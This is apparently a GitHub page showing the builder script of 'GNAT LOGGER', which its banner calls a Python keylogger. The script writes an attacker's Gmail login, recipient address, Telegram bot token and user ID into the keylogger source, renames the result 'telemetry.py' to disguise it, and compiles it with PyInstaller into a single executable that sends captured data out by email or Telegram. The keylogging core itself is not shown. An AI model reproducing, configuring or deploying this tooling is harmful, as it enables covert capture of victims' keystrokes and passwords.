-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathgnatlogger.py
executable file
·167 lines (147 loc) · 6.63 KB
/
gnatlogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#!/usr/bin/python3
import colorama
RED = colorama.Fore.RED
WHITE = colorama.Fore.WHITE
GREY = colorama.Fore.LIGHTBLACK_EX
banner = f"""{colorama.Style.BRIGHT}
{GREY} ,, ,,
((((( ))))) t.me/{WHITE}UndeadSec{GREY}
(((((( )))))) youtube.com/c/{WHITE}UndeadSec{GREY} - BRAZIL
(((((( )))))) v1.0
((((({WHITE},r@@@@@@@@@@e,{GREY})))))
((({WHITE}@@@@@@@@@@@@@@@@{GREY})))
\{WHITE}@@/{RED},:::,{WHITE}\/{RED},:::,{WHITE}\@@{GREY}/{WHITE}
/@@@|{RED}:::::{WHITE}||{RED}:::::{WHITE}|@@@\\
/ @@@\{RED}':::'{WHITE}/\{RED}':::'{WHITE}/@@@ \\
/ /@@@@@@@//\\@@@@@@@\ \\
( / '@@@@@====@@@@@' \ )
\( / \ )/
\ ( {RED}GNAT{WHITE} ) /
\ LOGGER /
{WHITE}
A PYTHON KEYLOGGER by Franklin Timoteo
"""
import re
import argparse
import logging
import os
import sys
from time import sleep
import PyInstaller.__main__
logger = logging.getLogger(__name__)
parser = argparse.ArgumentParser(description='Set configs to gerenerate a new file')
parser.add_argument('-e', '--email', help='set a new email')
parser.add_argument('-p', '--password', help='set a new password')
parser.add_argument('-i', '--interval', type=int, default=60, help='set a new interval')
parser.add_argument('-t', '--to', help='set send to email')
parser.add_argument('-d', '--debug', default='ERROR', help='Enable debug loggs, use DEBUG')
parser.add_argument('-u', '--uid', help='uid telegram @myidbot')
parser.add_argument('-k', '--token', help='token bot telegram')
parser.add_argument('--enabletelegram', default=False, action='store_true', help='enable telegram as send form')
parser.add_argument('--enableemail', default=False, action='store_true', help='enable email as send form')
parser.add_argument('--force', default=False, action='store_true',help='disable interactive and force generate file')
def _re_replace(pattern, data, newstring):
prog = re.compile(pattern)
newdata = prog.sub(newstring, data, count=1)
return newdata
def _change_defaults_file(email, password, to, uid, token, interval=60, enabletelegram=True, enableemail=True):
"""Search and replace vars values:
EDITWITHYOURGMAIL
EDITWITHYOURGMAILPASSWORD
INTERVALINSECONDS
WHATDOYOUEAMILYOUWANTTOSEND
USER_ID_TELEGRAM
TOKEN
ENABLE_TELEGRAM
ENABLE_EMAIL
"""
_filename = 'main.py'
_filedist = 'telemetry.py'
logger.debug('\nFile default: %s\nFile output: %s' %(_filename, _filedist))
try:
# @todo: melhorar regex selecionando apenas o valor após o =
with open(_filename, 'r') as default_file:
data = default_file.read()
data = _re_replace(r"yourgmail=.+\n", data, "yourgmail='%s'\n" %email)
data = _re_replace(r"yourgmailpass=.+\n", data, "yourgmailpass='%s'\n" %password)
data = _re_replace(r"sendto=.+\n", data, "sendto='%s'\n" %to)
data = _re_replace(r"interval=.+\n", data, "interval=%s\n" %interval)
data = _re_replace(r"USER_ID_TELEGRAM=.+\n", data, "USER_ID_TELEGRAM=%s\n" %uid)
data = _re_replace(r"TOKEN_BOT=.+\n", data, "TOKEN_BOT='%s'\n" %token)
data = _re_replace(r"ENABLE_TELEGRAM=.+\n", data, "ENABLE_TELEGRAM=%s\n"%enabletelegram)
data = _re_replace(r"ENABLE_EMAIL=.+\n", data, "ENABLE_EMAIL=%s\n"%enableemail)
with open(_filedist, 'w') as distfile:
distfile.write(data)
except FileNotFoundError:
print('File %s not found' %_filename)
finally:
print('File %s edited with success!' %_filedist)
def get_new_configs(params):
logger.debug('Setting news configs with params: %s' %params)
_shadow_params = params.copy()
print('Enter to default or type new config.')
for key, value in _shadow_params.items():
new_value = input('%s [ %s ] > '%(key.title(), value)) or value
_shadow_params[key] = new_value
return _shadow_params
def menu(args):
logger.debug('Option menu selected')
options_selected = args
params = {
'email': args.email,
'password': args.password,
'to': args.to,
'uid': args.uid,
'token': args.token,
'interval': args.interval,
'enabletelegram': args.enabletelegram,
'enableemail': args.enableemail
}
try:
while True:
os.system('clear')
sys.stdout.write(banner)
print('Params loaded: ')
for key,value in params.items():
print('- %s : %s' %(key,value))
print(f'\n{RED}[{WHITE}S{RED}]{WHITE} Set new configs {RED}[{WHITE}K{RED}]{WHITE} Generate file with new configs \n{RED}[{WHITE}C{RED}]{WHITE} Compile to exe {RED}[{WHITE}D{RED}]{WHITE} Compile to exe with debug pyinstaller \n{RED}[{WHITE}Q{RED}]{WHITE} Quit')
user_choice = input(f"\n{RED}Gnat{WHITE}-> ")
if user_choice.upper() == 'S':
sys.stdout.write('Setting new configs: ')
new_params = get_new_configs(params)
params.update(new_params)
elif user_choice.upper() == 'K':
_change_defaults_file(**params)
sleep(3) # @question: clean exec and we not see result from change_defaults
elif user_choice.upper() == 'C':
PyInstaller.__main__.run([
'telemetry.py',
'--onefile',
])
elif user_choice.upper() == 'D':
"Compile com debug pyinstaller"
PyInstaller.__main__.run([
'telemetry.py',
'--onefile',
'-d',
'all'
])
elif user_choice.upper() == 'Q':
raise KeyboardInterrupt
else:
sys.stdout.write('Select an option or press CTRL+C or Q to quit')
except KeyboardInterrupt:
os.system('clear')
exit()
if __name__ == '__main__':
args = parser.parse_args()
email, password, interval, to = args.email, args.password, args.interval, args.to
uid, token, enabletelegram, enableemail = args.uid, args.token, args.enabletelegram, args.enableemail
fmt = "[%(levelname)s] %(funcName)s %(message)s"
logging.basicConfig(format=fmt, encoding='utf-8', level=args.debug)
logger.debug('Using args: %s' %args)
logger.debug('Force generate file: %s' %args.force)
if all([email, password, interval, to, uid, token, enabletelegram, enableemail]) or args.force:
_change_defaults_file(email, password, to, uid, token, interval, enabletelegram, enableemail)
else:
menu(args)